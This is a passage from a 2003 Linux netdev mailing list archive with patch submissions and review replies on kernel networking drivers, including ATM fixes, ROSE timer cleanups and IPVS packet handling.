Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lanai] get rid of MOD_INC/MOD_DEC (from shemminger@osdl.org) Message-Id: <20030921181134.45eff69f.davem@redhat.com> In-Reply-To: <200309211446.h8LEkJkT023754@ginger.cmf.nrl.navy.mil> References: <200309211446.h8LEkJkT023754@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 135 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 210 Lines: 8 On Sun, 21 Sep 2003 10:46:19 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [lanai] get rid of MOD_INC/MOD_DEC (from shemminger@osdl.org) Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:24:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:24:54 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1OmFx024889 for ; Sun, 21 Sep 2003 18:24:48 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24290; Sun, 21 Sep 2003 18:12:09 -0700 Date: Sun, 21 Sep 2003 18:12:09 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH] [ATM]: [uPD98402] convert to new-style module Message-Id: <20030921181209.4e0294d6.davem@redhat.com> In-Reply-To: <200309211447.h8LEl1kT023772@ginger.cmf.nrl.navy.mil> References: <200309211447.h8LEl1kT023772@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 136 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 189 Lines: 8 On Sun, 21 Sep 2003 10:47:02 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [uPD98402] convert to new-style module Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:25:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:25:33 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1PRFx025253 for ; Sun, 21 Sep 2003 18:25:27 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24313; Sun, 21 Sep 2003 18:12:47 -0700 Date: Sun, 21 Sep 2003 18:12:47 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [uPD98402] exported symbols should not be marked __init Message-Id: <20030921181247.2fd0d971.davem@redhat.com> In-Reply-To: <200309211448.h8LEmTkT023785@ginger.cmf.nrl.navy.mil> References: <200309211448.h8LEmTkT023785@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 137 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 206 Lines: 8 On Sun, 21 Sep 2003 10:48:29 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [uPD98402] exported symbols should not be marked __init Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:26:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:26:29 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1QPFx025623 for ; Sun, 21 Sep 2003 18:26:25 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24346; Sun, 21 Sep 2003 18:13:45 -0700 Date: Sun, 21 Sep 2003 18:13:45 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [zatm] correct way to prevent module unload (from shemminger@osdl.org) Message-Id: <20030921181345.1a99974c.davem@redhat.com> In-Reply-To: <200309211448.h8LEmtkT023791@ginger.cmf.nrl.navy.mil> References: <200309211448.h8LEmtkT023791@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 138 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 219 Lines: 8 On Sun, 21 Sep 2003 10:48:56 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [zatm] correct way to prevent module unload (from shemminger@osdl.org) Applied, thanks. From jgarzik@pobox.com Mon Sep 22 00:45:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 00:45:52 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M7jdFx011955 for ; Mon, 22 Sep 2003 00:45:40 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33032 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A0lpg-0001gS-21; Sat, 20 Sep 2003 18:47:44 +0100 Message-ID: <3F6C92B3.3060603@pobox.com> Date: Sat, 20 Sep 2003 13:47:31 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] convert wan/lmc to device model References: <20030916143627.51a08be0.shemminger@osdl.org> In-Reply-To: <20030916143627.51a08be0.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 139 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1254 Lines: 42 Stephen Hemminger wrote: > This patch converts drivers/net/wan/lmc for 2.6.0-test5 > - use pci_device model > - get rid of MOD_INC/DEC > - use alloc_netdev and dev->priv for private data > > Builds and loads but don't have real hardware. > > diff -Nru a/drivers/net/wan/lmc/lmc_main.c b/drivers/net/wan/lmc/lmc_main.c > --- a/drivers/net/wan/lmc/lmc_main.c Tue Sep 16 14:33:16 2003 > +++ b/drivers/net/wan/lmc/lmc_main.c Tue Sep 16 14:33:16 2003 > @@ -78,30 +78,20 @@ > #include "lmc_debug.h" > #include "lmc_proto.h" > > - > -static int Lmc_Count = 0; > -static struct net_device *Lmc_root_dev = NULL; > -static u8 cards_found = 0; > - > static int lmc_first_load = 0; > > -int LMC_PKT_BUF_SZ = 1542; > +static int LMC_PKT_BUF_SZ = 1542; > > -#ifdef MODULE > static struct pci_device_id lmc_pci_tbl[] = { > - { 0x1011, 0x009, 0x1379, PCI_ANY_ID, 0, 0, 0}, > - { 0, } > + { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_VENDOR_LMC, PCI_ANY_ID }, > + { CORRECT_VENDOR_ID, CORRECT_DEV_ID, PCI_ANY_ID, PCI_VENDOR_LMC }, > + { 0 } Um, this is majorly ugly. I know you didn't create the CORRECT_xxx constants... but let's not use them. Either use the hex constants directly, or update pci_ids.h and use the constants from there. Jeff From t.sailer@alumni.ethz.ch Mon Sep 22 06:56:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 06:56:49 -0700 (PDT) Received: from mail.scs.ch (mail.scs.ch [212.254.229.5]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MDueFx010086 for ; Mon, 22 Sep 2003 06:56:41 -0700 Received: from kronenbourg.scs.ch (kronenbourg.scs.ch [212.254.229.190]) by mail.scs.ch (8.11.6/8.11.6) with ESMTP id h8MDtmv13268; Mon, 22 Sep 2003 15:55:48 +0200 Received: from kronenbourg.scs.ch (kronenbourg.scs.ch [127.0.0.1]) by kronenbourg.scs.ch (8.12.8/8.12.8) with ESMTP id h8MDtmlq030345; Mon, 22 Sep 2003 15:55:48 +0200 Received: (from sailer@localhost) by kronenbourg.scs.ch (8.12.8/8.12.8/Submit) id h8MDti1W030341; Mon, 22 Sep 2003 15:55:44 +0200 X-Authentication-Warning: kronenbourg.scs.ch: sailer set sender to t.sailer@alumni.ethz.ch using -f Subject: Re: [PATCH] (1/4) Update baycom drivers for 2.6 From: Thomas Sailer To: Stephen Hemminger Cc: Jeff Garzik , linux-hams@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20030920144812.0c587a12.shemminger@osdl.org> References: <20030919133750.4053f72c.shemminger@osdl.org> <3F6CA3E3.9060909@pobox.com> <20030920144812.0c587a12.shemminger@osdl.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: private Message-Id: <1064238944.31276.9.camel@kronenbourg.scs.ch> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 Sep 2003 15:55:44 +0200 X-archive-position: 140 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: t.sailer@alumni.ethz.ch Precedence: bulk X-list: netdev Content-Length: 406 Lines: 14 On Sat, 2003-09-20 at 23:48, Stephen Hemminger wrote: Patch 1-3 look good. > patch 4 was replacing local random with get_random_bytes. > Probably not a good idea since people seem to be paranoid > about losing entropy ... Yes, IMO not a good idea to use entropy for such a simple task. The random numbers are used for the channel access algorithm, and nothing bad happens if they are predictable. Tom From ncorbic@sangoma.com Mon Sep 22 07:22:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 07:22:47 -0700 (PDT) Received: from sangoma-lab.com (qmailr@[209.47.108.82]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MEMcFx014384 for ; Mon, 22 Sep 2003 07:22:38 -0700 Received: (qmail 9320 invoked from network); 22 Sep 2003 14:26:27 -0000 Received: from pc-00180 (HELO sangoma.com) (192.168.1.180) by homer.sangoma-lab.com (192.168.1.1) with ESMTP; 22 Sep 2003 14:26:27 -0000 Message-ID: <3F6F03F3.7020200@sangoma.com> Date: Mon, 22 Sep 2003 10:15:15 -0400 From: Nenad Corbic Organization: Sangoma Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: "Randy.Dunlap" , netdev@oss.sgi.com Subject: Re: [PATCH] wan: remove multi-line string literal References: <20030919112746.3df80578.rddunlap@osdl.org> <20030920003144.74b5d2b3.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 141 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ncorbic@sangoma.com Precedence: bulk X-list: netdev Content-Length: 1111 Lines: 43 Hello David, I have been putting all the patches you sent on a side. I still didn't start working on 2.6.X kernel drivers. We are absolutely swamped here and have no time for them yet. I will probably starting to work on them in a week or so. I still owe you split up patches for 2.4.X kernels :) Regards, Nenad David S. Miller wrote: > On Fri, 19 Sep 2003 11:27:46 -0700 > "Randy.Dunlap" wrote: > > >>Please apply to 2.6.0-test5-current. > > > Applied. > > How response is ncorbic@sangoma.com ever for these patches? > If he never responds, just direct the patches to Jeff or myself > in the future. If ncorbic wants to actively maintain this stuff > he'll have to start replying. :) > > -- +------------------------------------------------------------+ | Nenad Corbic, B.Eng | Tel: 905-474-1990 x113 | | Senior Linux Developer, | Fax: 905-474-9223 | | Network Engineer | Email: ncorbic@sangoma.com | | Sangoma Technologies Inc | Web: www.sangoma.com | +------------------------------------------------------------+ From chas@cmf.nrl.navy.mil Mon Sep 22 07:52:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 07:53:01 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MEquFx017313 for ; Mon, 22 Sep 2003 07:52:56 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8MEqokT005989; Mon, 22 Sep 2003 10:52:50 -0400 (EDT) Message-Id: <200309221452.h8MEqokT005989@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [he] possibly using corrupted structure (from felipewd@terra.com.br) Reply-To: chas3@users.sourceforge.net Date: Mon, 22 Sep 2003 10:52:52 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 143 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1519 Lines: 43 please apply to both 2.4 and 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1445 -> 1.1446 # drivers/atm/he.c 1.24 -> 1.25 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/22 chas@relax.cmf.nrl.navy.mil 1.1446 # [ATM]: [he] possibly using corrupted structure (from felipewd@terra.com.br) # -------------------------------------------- # diff -Nru a/drivers/atm/he.c b/drivers/atm/he.c --- a/drivers/atm/he.c Mon Sep 22 10:51:28 2003 +++ b/drivers/atm/he.c Mon Sep 22 10:51:28 2003 @@ -2864,8 +2864,10 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - copy_from_user(®, (struct he_ioctl_reg *) arg, - sizeof(struct he_ioctl_reg)); + if (copy_from_user(®, (struct he_ioctl_reg *) arg, + sizeof(struct he_ioctl_reg))) + return -EFAULT; + spin_lock_irqsave(&he_dev->global_lock, flags); switch (reg.type) { case HE_REGTYPE_PCI: @@ -2889,8 +2891,9 @@ } spin_unlock_irqrestore(&he_dev->global_lock, flags); if (err == 0) - copy_to_user((struct he_ioctl_reg *) arg, ®, - sizeof(struct he_ioctl_reg)); + if (copy_to_user((struct he_ioctl_reg *) arg, ®, + sizeof(struct he_ioctl_reg))) + return -EFAULT; break; default: #ifdef CONFIG_ATM_HE_USE_SUNI From rusty@samba.org Mon Sep 22 07:52:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 07:52:49 -0700 (PDT) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MEqeFx017262 for ; Mon, 22 Sep 2003 07:52:40 -0700 Received: by lists.samba.org (Postfix, from userid 590) id 976AE2C244; Mon, 22 Sep 2003 14:52:39 +0000 (GMT) From: Rusty Russell To: "David S. Miller" Cc: Julian Anastasov , Stephen Hemminger , Wensong Zhang , lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: Fw: Re: [PATCH] (6/6) ipvs -- get rid of skb_linearize In-reply-to: Your message of "Sat, 20 Sep 2003 01:05:26 MST." <20030920010526.7d9a3ff4.davem@redhat.com> Date: Tue, 23 Sep 2003 00:45:06 +1000 Message-Id: <20030922145239.976AE2C244@lists.samba.org> X-archive-position: 142 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: netdev Content-Length: 1815 Lines: 40 In message <20030920010526.7d9a3ff4.davem@redhat.com> you write: > We have another solution for this problem, may be it is > better the following stuff to be included now. Rusty, Dave? Is > someone willing to review this before inclusion? Sure... > http://www.ssi.bg/~ja/ipvs-2.6.0-test2/readme.txt > - at least struct iphdr in first fragment, not shared > > - ip_defrag is already called, so ip_send_check is still needed > > - then we add all needed checks for read and write access and extending > the first fragment Alexey's advice was not to pull packets we don't modify, but use skb_copy_bits, and use skb_ip_make_writable() where we do modify. This means that you don't have to care about shared or cloned skbs, it makes your intentions explicit, and it's more future-proof. It's more invasive, but my experience with doing netfilter_ipv4 was that it made things much neater when finished. It helps to get rid of lots of the temporary variables, too, I've found (too easy to forget to update them). Here's a patch series below which does this. Compiled, not tested. Please read and advise if you want to go this way: http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_packet_app_pkt_return.patch.gz http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_nonlinear_protocols.patch.gz http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_nonlinear_scheduler.patch.gz http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_nonlinear_apps.patch.gz http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_nonlinear_ip_vs_core.patch.gz http://www.kernel.org/pub/linux/kernel/people/rusty/patches/IPVS/ipvs_nonlinear_ip_vs_xmit.patch.gz Thanks, Rusty. -- Anyone who quotes me in their sig is an idiot. -- Rusty Russell. From vinay.nallamothu@gsecone.com Mon Sep 22 08:24:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 08:24:48 -0700 (PDT) Received: from gateway.gsecone.com ([61.95.227.64]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MFOSFx021704 for ; Mon, 22 Sep 2003 08:24:30 -0700 Received: from vinay.gsecone.com (vinay.gsecone.com [192.168.1.15]) by gateway.gsecone.com (8.12.8/8.12.8) with ESMTP id h8MFQWfA002821; Mon, 22 Sep 2003 20:56:32 +0530 Subject: [PATCH 2.6.0-test5][ROSE] timer cleanups From: Vinay K Nallamothu To: netdev@oss.sgi.com Cc: LKML Content-Type: text/plain Organization: Global Security One Message-Id: <1064244315.4358.54.camel@lima.royalchallenge.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Mon, 22 Sep 2003 20:55:15 +0530 Content-Transfer-Encoding: 7bit X-archive-position: 144 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vinay.nallamothu@gsecone.com Precedence: bulk X-list: netdev Content-Length: 8821 Lines: 305 1. Use mod_timer 2. Use del_timer_sync in rose_loopback_clear 3. Use static timer initializaer 4. Use skb_queue_purge af_rose.c | 9 ++------ rose_link.c | 21 +++++++++--------- rose_loopback.c | 37 +++++++-------------------------- rose_route.c | 7 ++---- rose_timer.c | 62 ++++++++++++++++++-------------------------------------- 5 files changed, 45 insertions(+), 91 deletions(-) diff -urN linux-2.6.0-test5/net/rose/af_rose.c linux-2.6.0-test5-nvk/net/rose/af_rose.c --- linux-2.6.0-test5/net/rose/af_rose.c 2003-09-09 11:12:05.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/rose/af_rose.c 2003-09-22 16:25:33.000000000 +0530 @@ -64,6 +64,7 @@ ax25_address rose_callsign; +void rose_init_timers(struct sock *sk); /* * Convert a ROSE address into text. */ @@ -353,10 +354,8 @@ if (atomic_read(&sk->sk_wmem_alloc) || atomic_read(&sk->sk_rmem_alloc)) { /* Defer: outstanding buffers */ - init_timer(&sk->sk_timer); sk->sk_timer.expires = jiffies + 10 * HZ; sk->sk_timer.function = rose_destroy_timer; - sk->sk_timer.data = (unsigned long)sk; add_timer(&sk->sk_timer); } else sk_free(sk); @@ -529,8 +528,7 @@ sock->ops = &rose_proto_ops; sk->sk_protocol = protocol; - init_timer(&rose->timer); - init_timer(&rose->idletimer); + rose_init_timers(sk); rose->t1 = sysctl_rose_call_request_timeout; rose->t2 = sysctl_rose_reset_request_timeout; @@ -576,8 +574,7 @@ sk->sk_sleep = osk->sk_sleep; sk->sk_zapped = osk->sk_zapped; - init_timer(&rose->timer); - init_timer(&rose->idletimer); + rose_init_timers(sk); orose = rose_sk(osk); rose->t1 = orose->t1; diff -urN linux-2.6.0-test5/net/rose/rose_link.c linux-2.6.0-test5-nvk/net/rose/rose_link.c --- linux-2.6.0-test5/net/rose/rose_link.c 2003-09-09 11:12:05.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/rose/rose_link.c 2003-09-22 18:21:21.000000000 +0530 @@ -31,26 +31,25 @@ static void rose_ftimer_expiry(unsigned long); static void rose_t0timer_expiry(unsigned long); -void rose_start_ftimer(struct rose_neigh *neigh) +void rose_neigh_init_timers(struct rose_neigh *neigh) { - del_timer(&neigh->ftimer); + init_timer(&neigh->t0timer); + neigh->t0timer.data = (unsigned long)neigh; + neigh->t0timer.function = &rose_t0timer_expiry; + init_timer(&neigh->ftimer); neigh->ftimer.data = (unsigned long)neigh; neigh->ftimer.function = &rose_ftimer_expiry; - neigh->ftimer.expires = jiffies + sysctl_rose_link_fail_timeout; +} - add_timer(&neigh->ftimer); +void rose_start_ftimer(struct rose_neigh *neigh) +{ + mod_timer(&neigh->ftimer, jiffies + sysctl_rose_link_fail_timeout); } void rose_start_t0timer(struct rose_neigh *neigh) { - del_timer(&neigh->t0timer); - - neigh->t0timer.data = (unsigned long)neigh; - neigh->t0timer.function = &rose_t0timer_expiry; - neigh->t0timer.expires = jiffies + sysctl_rose_restart_request_timeout; - - add_timer(&neigh->t0timer); + mod_timer(&neigh->t0timer, jiffies + sysctl_rose_restart_request_timeout); } void rose_stop_ftimer(struct rose_neigh *neigh) diff -urN linux-2.6.0-test5/net/rose/rose_loopback.c linux-2.6.0-test5-nvk/net/rose/rose_loopback.c --- linux-2.6.0-test5/net/rose/rose_loopback.c 2003-09-09 11:12:05.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/rose/rose_loopback.c 2003-09-22 16:31:40.000000000 +0530 @@ -14,19 +14,17 @@ #include #include -static struct sk_buff_head loopback_queue; -static struct timer_list loopback_timer; +static void rose_loopback_timer(unsigned long); -static void rose_set_loopback_timer(void); +static struct sk_buff_head loopback_queue; +static struct timer_list loopback_timer = TIMER_INITIALIZER(rose_loopback_timer, 0, 0); -void rose_loopback_init(void) +void __init rose_loopback_init(void) { skb_queue_head_init(&loopback_queue); - - init_timer(&loopback_timer); } -static int rose_loopback_running(void) +static inline int rose_loopback_running(void) { return timer_pending(&loopback_timer); } @@ -43,25 +41,12 @@ skb_queue_tail(&loopback_queue, skbn); if (!rose_loopback_running()) - rose_set_loopback_timer(); + mod_timer(&loopback_timer, jiffies + 10); } return 1; } -static void rose_loopback_timer(unsigned long); - -static void rose_set_loopback_timer(void) -{ - del_timer(&loopback_timer); - - loopback_timer.data = 0; - loopback_timer.function = &rose_loopback_timer; - loopback_timer.expires = jiffies + 10; - - add_timer(&loopback_timer); -} - static void rose_loopback_timer(unsigned long param) { struct sk_buff *skb; @@ -100,12 +85,6 @@ void __exit rose_loopback_clear(void) { - struct sk_buff *skb; - - del_timer(&loopback_timer); - - while ((skb = skb_dequeue(&loopback_queue)) != NULL) { - skb->sk = NULL; - kfree_skb(skb); - } + del_timer_sync(&loopback_timer); + skb_queue_purge(&loopback_queue); } diff -urN linux-2.6.0-test5/net/rose/rose_route.c linux-2.6.0-test5-nvk/net/rose/rose_route.c --- linux-2.6.0-test5/net/rose/rose_route.c 2003-09-09 11:12:05.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/rose/rose_route.c 2003-09-22 20:46:44.000000000 +0530 @@ -49,6 +49,7 @@ struct rose_neigh *rose_loopback_neigh; static void rose_remove_neigh(struct rose_neigh *); +void rose_neigh_init_timers(struct rose_neigh *); /* * Add a new route to a node, and in the process add the node and the @@ -106,8 +107,7 @@ skb_queue_head_init(&rose_neigh->queue); - init_timer(&rose_neigh->ftimer); - init_timer(&rose_neigh->t0timer); + rose_neigh_init_timers(rose_neigh); if (rose_route->ndigis != 0) { if ((rose_neigh->digipeat = kmalloc(sizeof(ax25_digi), GFP_KERNEL)) == NULL) { @@ -389,8 +389,7 @@ skb_queue_head_init(&rose_loopback_neigh->queue); - init_timer(&rose_loopback_neigh->ftimer); - init_timer(&rose_loopback_neigh->t0timer); + rose_neigh_init_timers(rose_loopback_neigh); spin_lock_bh(&rose_neigh_list_lock); rose_loopback_neigh->next = rose_neigh_list; diff -urN linux-2.6.0-test5/net/rose/rose_timer.c linux-2.6.0-test5-nvk/net/rose/rose_timer.c --- linux-2.6.0-test5/net/rose/rose_timer.c 2003-09-09 11:12:05.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/rose/rose_timer.c 2003-09-22 17:24:25.000000000 +0530 @@ -33,82 +33,62 @@ static void rose_timer_expiry(unsigned long); static void rose_idletimer_expiry(unsigned long); -void rose_start_heartbeat(struct sock *sk) +void rose_init_timers(struct sock *sk) { - del_timer(&sk->sk_timer); + rose_cb *rose = rose_sk(sk); + + init_timer(&rose->timer); + rose->timer.data = (unsigned long)sk; + rose->timer.function = &rose_timer_expiry; + init_timer(&rose->idletimer); + rose->idletimer.data = (unsigned long)sk; + rose->idletimer.function = &rose_idletimer_expiry; + + /* initialized by sock_init_data */ sk->sk_timer.data = (unsigned long)sk; sk->sk_timer.function = &rose_heartbeat_expiry; - sk->sk_timer.expires = jiffies + 5 * HZ; +} - add_timer(&sk->sk_timer); +void rose_start_heartbeat(struct sock *sk) +{ + mod_timer(&sk->sk_timer, jiffies + 5 * HZ); } void rose_start_t1timer(struct sock *sk) { rose_cb *rose = rose_sk(sk); - del_timer(&rose->timer); - - rose->timer.data = (unsigned long)sk; - rose->timer.function = &rose_timer_expiry; - rose->timer.expires = jiffies + rose->t1; - - add_timer(&rose->timer); + mod_timer(&rose->timer, jiffies + rose->t1); } void rose_start_t2timer(struct sock *sk) { rose_cb *rose = rose_sk(sk); - del_timer(&rose->timer); - - rose->timer.data = (unsigned long)sk; - rose->timer.function = &rose_timer_expiry; - rose->timer.expires = jiffies + rose->t2; - - add_timer(&rose->timer); + mod_timer(&rose->timer, jiffies + rose->t2); } void rose_start_t3timer(struct sock *sk) { rose_cb *rose = rose_sk(sk); - del_timer(&rose->timer); - - rose->timer.data = (unsigned long)sk; - rose->timer.function = &rose_timer_expiry; - rose->timer.expires = jiffies + rose->t3; - - add_timer(&rose->timer); + mod_timer(&rose->timer, jiffies + rose->t3); } void rose_start_hbtimer(struct sock *sk) { rose_cb *rose = rose_sk(sk); - del_timer(&rose->timer); - - rose->timer.data = (unsigned long)sk; - rose->timer.function = &rose_timer_expiry; - rose->timer.expires = jiffies + rose->hb; - - add_timer(&rose->timer); + mod_timer(&rose->timer, jiffies + rose->hb); } void rose_start_idletimer(struct sock *sk) { rose_cb *rose = rose_sk(sk); - del_timer(&rose->idletimer); - - if (rose->idle > 0) { - rose->idletimer.data = (unsigned long)sk; - rose->idletimer.function = &rose_idletimer_expiry; - rose->idletimer.expires = jiffies + rose->idle; - - add_timer(&rose->idletimer); - } + if (rose->idle > 0) + mod_timer(&rose->idletimer, jiffies + rose->idle); } void rose_stop_heartbeat(struct sock *sk) From shemminger@osdl.org Mon Sep 22 09:51:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Sep 2003 09:51:48 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MGpHFx025084 for ; Mon, 22 Sep 2003 09:51:40 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8MGp1U32227; Mon, 22 Sep 2003 09:51:01 -0700 Date: Mon, 22 Sep 2003 09:50:38 -0700 From: Stephen Hemminger To: Andi Kleen Cc: Thomas Sailer , Jeff Garzik , linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] (4/4) use system get_random_bytes in hdlcdrv Message-Id: <20030922095038.16ab2eca.shemminger@osdl.org> In-Reply-To: <20030919214642.GA22244@wotan.suse.de> References: <20030919133809.5390e8cb.shemminger@osdl.org> <20030919214642.GA22244@wotan.suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; 